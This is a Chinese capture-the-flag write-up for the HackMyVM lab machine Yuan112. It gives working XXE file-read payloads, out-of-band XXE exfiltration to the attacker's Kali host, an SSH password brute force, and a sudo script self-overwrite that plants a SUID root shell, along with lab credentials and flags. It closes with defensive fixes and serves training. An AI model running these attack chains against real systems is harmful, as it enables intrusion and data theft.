跳到主要内容

HackMyVM Yuan112 通关记录|XXE 文件读取、GECOS 爆破与 sudo 脚本自覆盖提权

靶机链接:Yuan112


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Yuan112192.168.1.102Debian 10 (buster) 靶机

复现提示: 靶机 IP 会随个人网络环境变化。本文命令以 192.168.1.102 为例;如果你的 IP 不同,把命令中的目标 IP 替换成自己的靶机 IP 即可。Kali IP 用于 OOB XXE 回连,本文为 192.168.1.113


攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Apache锁定攻击面:Web 服务是唯一入口
XXE 发现simplexml_load_string(..., LIBXML_NOENT)外部实体替换,读取本地文件
GECOS 分析KQNPHFqG**JHcYJossIe** 为两位未知字符,可小规模穷举
OOB XXE外部 DTD + HTTP 外传稳定回传大文件或包含特殊字符的文件
密码穷举62^2=3844 组合多线程爆破** = 6m,获得 SSH 凭据
初始访问SSH 登录 tuf获得低权限 shell
sudo 枚举(ALL) NOPASSWD: /opt/112.sh确认提权入口
脚本分析-u 限制 URL,-o 可写任意文件发现自覆盖 + 相对路径解析利用条件
提权利用覆盖 /opt/112.sh,从可控目录再次 sudo 执行以 root 身份运行攻击者 payload
Flag 收集/home/tuf/user.txt/root/root.txt完成靶机

0x02 侦察与信息收集 (Reconnaissance)

1. 端口扫描

先用 RustScan 做快速端口发现,并让 Nmap 接手服务识别:

rustscan -a 192.168.1.102 --ulimit 5000 -- -sV -sC -O -oN nmap-initial.txt

首轮开放端口:

Open 192.168.1.102:22
Open 192.168.1.102:80

Nmap 复核后的服务摘要:

端口协议服务指纹 / 备注
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u3Debian 系统
80/tcpHTTPApache httpd 2.4.62 (Debian)标题 XML Parser

如果没有 RustScan,直接用 Nmap 也可以:

nmap -Pn -sV -sC -O -p 22,80 192.168.1.102 -oN nmap-22-80.txt
nmap -sT -Pn -p- --open 192.168.1.102 -oN nmap-fulltcp.txt
nmap -sU --top-ports 50 --open -Pn 192.168.1.102 -oN nmap-udp-top50.txt

TCP 全端口最终只确认 2280。UDP Top 50 没有发现有效开放端口,因此主攻击面集中在 80 端口的 Web 服务。

2. Web 页面确认

访问首页:

curl -s http://192.168.1.102/ | grep -i title

返回标题为:

<title>XML Parser</title>

页面只有一个 XML 输入框。提交普通 XML 后会返回 SimpleXMLElement Object

curl -s -X POST \
--data-urlencode 'xml=<root><test>hello</test></root>' \
http://192.168.1.102/

输出摘要:

SimpleXMLElement Object
(
[test] => hello
)

这说明后端会解析用户提交的 XML。下一步重点测试 XML 外部实体。

3. 通过 XXE 收集到的系统信息

后续通过 XXE 逐步确认到系统环境:

Hostname: 112
OS: Debian GNU/Linux 10.13 (buster)
Kernel: 4.19.0-27-amd64
PHP: 8.3 (Sury repo)
DB: MariaDB 10.5.23, Zabbix Server

0x03 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)

1. XXE 漏洞确认

构造一个读取 /etc/passwd 的 XML:

cat > xxe-passwd.xml <<'XML'
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><test>&xxe;</test></root>
XML

curl -s -X POST --data-urlencode xml@xxe-passwd.xml \
http://192.168.1.102/

返回内容中可以看到本地用户:

root:x:0:0:root:/root:/bin/bash
...
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
zabbix:x:108:115::/nonexistent:/usr/sbin/nologin

这一步已经确认:XML Parser 存在 XXE 任意文件读取。

2. 读取 Web 源码确认漏洞成因

为了确认为什么外部实体会被替换,可以用 php://filter 读取 Web 源码并 base64 编码:

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<root><test>&xxe;</test></root>

解码后关键代码如下:

if(isset($_POST['xml'])) {
$xml = $_POST['xml'];
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
if($data) echo "<pre>" . htmlspecialchars(print_r($data, true)) . "</pre>";
else echo "<pre>Parse Error</pre>";
}

核心问题是第三个参数 LIBXML_NOENT。这个标志会让 libxml 替换实体,因此攻击者定义的外部实体 file:///etc/passwd 会被真正读取并插入到 XML 结果中。

3. 内联 XXE 文件读取清单

常用读取方式有两类:

方式示例适用场景
file://file:///etc/passwd普通文本文件
php://filterphp://filter/convert.base64-encode/resource=/path/filePHP 源码、二进制内容、特殊字符较多的文件

本机实测的关键文件:

文件内容 / 用途
/etc/passwd发现 tuf 用户及 GECOS 字段密码线索
/home/tuf/user.txt可直接读取 User Flag
/var/www/html/index.php确认 LIBXML_NOENT 漏洞成因
/etc/php/8.3/apache2/php.inidisable_functions = 为空
/etc/zabbix/zabbix_server.conf发现 Zabbix 数据库凭据 zabbix / your_strong_password
/usr/share/zabbix-server-mysql/data.sql.gz可用 compress.zlib:// 解压读取 SQL 初始数据

读取 User Flag 的 payload:

cat > xxe-user.xml <<'XML'
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/tuf/user.txt">
]>
<root><test>&xxe;</test></root>
XML

curl -s -X POST --data-urlencode xml@xxe-user.xml \
http://192.168.1.102/

输出:

flag{user-b1e12c74f19aac8e57f6fca1ff472905}

读取 gzip 压缩 SQL 时,可以把 compress.zlib:// 放到 php://filterresource= 后面:

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=compress.zlib:///usr/share/zabbix-server-mysql/data.sql.gz">
]>
<root><test>&xxe;</test></root>

这条链路可得到明文 SQL;其中 Zabbix Admin 默认密码相关哈希可进一步验证为 zabbix。它不是主线必需条件,但能说明 XXE 读取范围很大。

4. GECOS 字段:双星号密码线索

/etc/passwdtuf 用户这一行非常关键:

tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash

Linux 的 GECOS 字段通常用于保存用户全名、电话等描述信息。这里出现的 KQNPHFqG**JHcYJossIe 明显不像正常备注,更像 CTF 密码提示:

  • 前缀固定:KQNPHFqG
  • 后缀固定:JHcYJossIe
  • 中间 ** 表示两位未知字符
  • 如果字符集按 [0-9a-zA-Z] 计算,组合数为 62^2 = 3844

这个规模很小,适合直接对 SSH 做穷举验证。

5. OOB XXE 带外通道

内联回显读取对小文本很方便,但遇到内容较长、特殊字符较多或页面回显不稳定时,OOB XXE 更稳。OOB 的思路是:

  1. Kali 开 HTTP 服务托管恶意 DTD。
  2. 靶机解析 XML 时请求这个外部 DTD。
  3. DTD 读取目标文件并 base64 编码。
  4. 靶机再向 Kali 发起一次带参数的 HTTP 请求,把数据外带回来。

OOB XXE 不能绕过系统文件权限;例如 Web 进程无权读取 /etc/shadow 时,OOB 也读不到。它解决的是“怎么稳定回显/外传”的问题,不是权限问题。

附件脚本:oob-xxe.py

python3 oob-xxe.py \
-f /etc/hostname \
-t http://192.168.1.102/ \
--kali 192.168.1.113 \
-p 7777

成功输出类似:

[*] HTTP 服务器启动在 0.0.0.0:7777
[+] DTD 已创建: .../hostname.dtd
[*] DTD 已请求: GET /hostname.dtd HTTP/1.1

[+] 外传成功 (4 bytes):
112

[+] 外传成功!/etc/hostname
[*] 服务器已关闭

参数说明:

参数说明
-f /etc/hostname要从靶机读取的文件
-t http://192.168.1.102/靶机 XML Parser 地址
--kali 192.168.1.113Kali 的回连 IP,靶机必须能访问
-p 7777Kali 临时 HTTP 服务端口

6. SSH 密码穷举

附件脚本:brute-gecos.py

python3 brute-gecos.py -t 192.168.1.102

输出:

[*] 字符集大小: 62, 组合数: 3844
[*] 并发线程: 10
[+] 密码找到: KQNPHFqG6mJHcYJossIe
[+] ** = 6m

得到 SSH 凭据:

用户密码
tufKQNPHFqG6mJHcYJossIe

7. SSH 初始访问

sshpass -p 'KQNPHFqG6mJHcYJossIe' ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
tuf@192.168.1.102 'id; hostname'

输出:

uid=1000(tuf) gid=1000(tuf) groups=1000(tuf)
112

至此已获得低权限 shell。User Flag 前面已可通过 XXE 读取,也可以在 SSH 中读取:

cat /home/tuf/user.txt
flag{user-b1e12c74f19aac8e57f6fca1ff472905}

0x04 权限提升 (Privilege Escalation)

1. sudo 权限枚举

登录 tuf 后先看 sudo 权限:

sudo -l

输出:

Matching Defaults entries for tuf on 112:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User tuf may run the following commands on 112:
(ALL) NOPASSWD: /opt/112.sh

tuf 可以无密码以 root 身份执行 /opt/112.sh。这是本机最直接的提权入口。

2. 脚本分析与漏洞定位

查看脚本内容:

cat /opt/112.sh

核心逻辑如下:

#!/bin/bash
input_url=""
output_file=""
use_file=false
regex='^https://maze-sec.com/[a-zA-Z0-9/]*$'

while getopts ":u:o:" opt; do
case ${opt} in
u) input_url="$OPTARG" ;;
o) output_file="$OPTARG"; use_file=true ;;
esac
done

if [[ -z "$input_url" ]]; then
echo "错误: 必须使用 -u 参数提供URL"
exit 1
fi

if [[ ! "$input_url" =~ ^https://maze-sec.com/ ]]; then
echo "错误: URL必须以 https://maze-sec.com/ 开头"
exit 1
fi

if [[ ! "$input_url" =~ $regex ]]; then
echo "错误: URL包含非法字符,只允许字母、数字和斜杠"
exit 1
fi

if (( RANDOM % 2 )); then
result="$input_url is a good url."
else
result="$input_url is not a good url."
fi

if [ "$use_file" = true ]; then
echo "$result" > "$output_file"
echo "结果已保存到: $output_file"
else
echo "$result"
fi

脚本逻辑拆解:

参数说明限制
-u URL必填 URL必须匹配 ^https://maze-sec.com/[a-zA-Z0-9/]*$
-o FILE可选输出文件无路径白名单,root 权限写入
输出内容echo "$result"固定格式:<URL> is [not] a good url.

这个脚本表面上只是 URL 检查器,但在 sudo 上下文中等价于:普通用户可以让 root 向任意路径写入一行内容

3. 利用思路:自覆盖 + 相对路径解析

直接写 /etc/sudoers.d//etc/cron.d/ 这类配置文件不稳定,因为写入内容被固定为:

https://maze-sec.com/pwn is a good url.

关键突破点是:-o 可以写任意文件,也包括脚本自身 /opt/112.sh

利用步骤如下:

  1. sudo /opt/112.sh -u https://maze-sec.com/pwn -o /opt/112.sh 覆盖脚本自身。
  2. /opt/112.sh 变成一行纯文本,不再是带 #!/bin/bash 的脚本。
  3. 再次执行 sudo /opt/112.sh 时,execve 对这种文本文件返回 ENOEXEC,调用方会按脚本兼容逻辑交给 /bin/sh 解释。
  4. /bin/sh 把第一段 https://maze-sec.com/pwn 当作命令名执行,后面的 is not a good url. 只是参数。
  5. 由于命令名包含 / 且不是以 / 开头,shell 会把它当作相对路径。
  6. 只要当前目录下存在 https:/maze-sec.com/pwn,这个文件就会以 root 身份执行。

路径解析对应关系:

命令名: https://maze-sec.com/pwn
相对路径: ./https:/maze-sec.com/pwn

无论结果是 is a good url. 还是 is not a good url.,真正被执行的命令路径都是 https://maze-sec.com/pwn,所以随机分支不影响利用。

4. 手动提权步骤

先创建 payload 路径:

mkdir -p /tmp/ht/https:/maze-sec.com/

cat > /tmp/ht/https:/maze-sec.com/pwn <<'PAYLOAD'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash
PAYLOAD

chmod +x /tmp/ht/https:/maze-sec.com/pwn

切换到 /tmp/ht,让相对路径从这里开始解析:

cd /tmp/ht

覆盖 /opt/112.sh 自身:

sudo /opt/112.sh -u https://maze-sec.com/pwn -o /opt/112.sh
head -1 /opt/112.sh

输出类似:

https://maze-sec.com/pwn is not a good url.

再次 sudo 执行已被覆盖的 /opt/112.sh

sudo /opt/112.sh

此时 /tmp/ht/https:/maze-sec.com/pwn 会以 root 身份执行,并创建 SUID bash:

ls -l /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'

输出:

uid=1000(tuf) gid=1000(tuf) euid=0(root) groups=1000(tuf)
flag{root-538dc127225a0c97b060b1ff9570390a}

5. 使用附件脚本一键执行

附件脚本:privesc-112.sh

在 Kali 上上传脚本:

sshpass -p 'KQNPHFqG6mJHcYJossIe' scp \
-o StrictHostKeyChecking=no \
/path/to/privesc-112.sh \
tuf@192.168.1.102:/tmp/privesc-112.sh

在靶机上执行:

chmod +x /tmp/privesc-112.sh
/tmp/privesc-112.sh

成功输出:

[+] SUID bash 已创建: /tmp/rootbash

=== Root Shell ===
uid=1000(tuf) gid=1000(tuf) euid=0(root) groups=1000(tuf)

=== Root Flag ===
flag{root-538dc127225a0c97b060b1ff9570390a}

这个提权方法会覆盖 /opt/112.sh。如果需要反复练习,建议先给靶机打快照;通关后也可以直接重置靶机。

6. 提权原理总结

机制说明
任意文件写入sudo /opt/112.sh -o <path> 以 root 写入固定内容
脚本自覆盖-o /opt/112.sh 让 sudo 白名单脚本变成纯文本
ENOEXEC 回退文本文件无法直接执行时,被调用方交给 /bin/sh 解释
相对路径解析https://maze-sec.com/pwn 被解析为当前目录下的 https:/maze-sec.com/pwn
当前目录可控cd /tmp/ht 后再次 sudo,使相对路径指向攻击者 payload

7. 其他已枚举向量(未作为主线)

向量详情
/etc/sudoers.d/zabbixzabbix ALL=(ALL) NOPASSWD: /usr/bin/nmap -O *
/usr/local/bin/irc_bot.pyIRC 机器人,tuf 组可写
/etc/cron.d/php每 30 分钟以 root 执行 /usr/lib/php/sessionclean
/etc/cron.daily/apache2每日执行,source 自 /etc/default/apache-htcacheclean
SUID 二进制文件仅发现标准系统 SUID 文件
/etc/ld.so.preload可用 112.sh 写入,但固定输出内容不如自覆盖稳定

0x05 最终成果 (Final Flags)

User Flag

  • 路径: /home/tuf/user.txt
  • 内容: flag{user-b1e12c74f19aac8e57f6fca1ff472905}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-538dc127225a0c97b060b1ff9570390a}

凭据汇总

类型用户来源
GECOS 提示tufKQNPHFqG**JHcYJossIeXXE 读取 /etc/passwd
SSH 密码tufKQNPHFqG6mJHcYJossIeGECOS ** 穷举,** = 6m
MySQL (Zabbix)zabbixyour_strong_password/etc/zabbix/zabbix_server.conf
Zabbix AdminAdminzabbixdata.sql.gz 解压后验证
User Flag/home/tuf/user.txtflag{user-b1e12c74f19aac8e57f6fca1ff472905}XXE / SSH 读取
Root Flag/root/root.txtflag{root-538dc127225a0c97b060b1ff9570390a}SUID bash 读取

附件下载

脚本说明典型用法链接
brute-gecos.pyGECOS 双星号多线程穷举python3 brute-gecos.py -t 192.168.1.102下载
oob-xxe.pyOOB XXE 外部 DTD 数据外传python3 oob-xxe.py -f /etc/hostname -t http://192.168.1.102/ --kali 192.168.1.113下载
privesc-112.sh/opt/112.sh 自覆盖提权上传到靶机后执行 /tmp/privesc-112.sh下载

复盘总结

这台靶机的主线很清晰:Web XML Parser 的 XXE 提供文件读取,/etc/passwd 的 GECOS 字段给出 SSH 密码线索,登录后通过 sudo 白名单脚本的自覆盖完成 root 提权。

  1. LIBXML_NOENT 是入口。 PHP 的 SimpleXML 默认并不会让外部实体变成任意文件读取;危险点在于代码显式传入了 LIBXML_NOENT,导致外部实体被替换。

  2. 内联 XXE 和 OOB XXE 各有用途。 小文本可直接内联回显;长文件、特殊字符较多的文件更适合外部 DTD + HTTP 外带。php://filter 的 base64 编码能减少解析失败。

  3. GECOS 字段不应该出现凭据线索。 这里的 KQNPHFqG**JHcYJossIe 是典型 CTF 提示。两位未知字符的搜索空间很小,直接 SSH 穷举即可。

  4. php://filter 可以组合 compress.zlib:// 遇到 .gz 文件时,不需要先下载再解压;PHP 流封装器可以原地解压并 base64 编码,适合通过 XXE 读取压缩 SQL。

  5. sudo 脚本最怕可写自身。 当 NOPASSWD 脚本能以 root 写任意文件时,必须禁止写入自身、sudoers、cron 等关键路径。Yuan112 的关键突破正是 /opt/112.sh 自覆盖。

  6. 这里不是“内核自动执行 shell”。 更准确地说,是脚本被覆盖成普通文本后,直接执行会触发 ENOEXEC,随后由调用方按兼容逻辑交给 /bin/sh 解释。再叠加相对路径解析和可控当前目录,就形成了 root 代码执行。

防守侧修复建议:

  • XML 解析不要启用 LIBXML_NOENT;如必须解析 DTD,应禁用外部实体并做严格输入控制。
  • 不要在 GECOS、注释、备份文件或配置文件中留下密码提示。
  • sudo 白名单脚本应使用绝对路径、最小权限和输出路径白名单。
  • 脚本写文件前应拒绝写入自身和系统关键目录。
  • 对 sudo 白名单文件做完整性校验,避免脚本被覆盖后继续位于允许执行路径。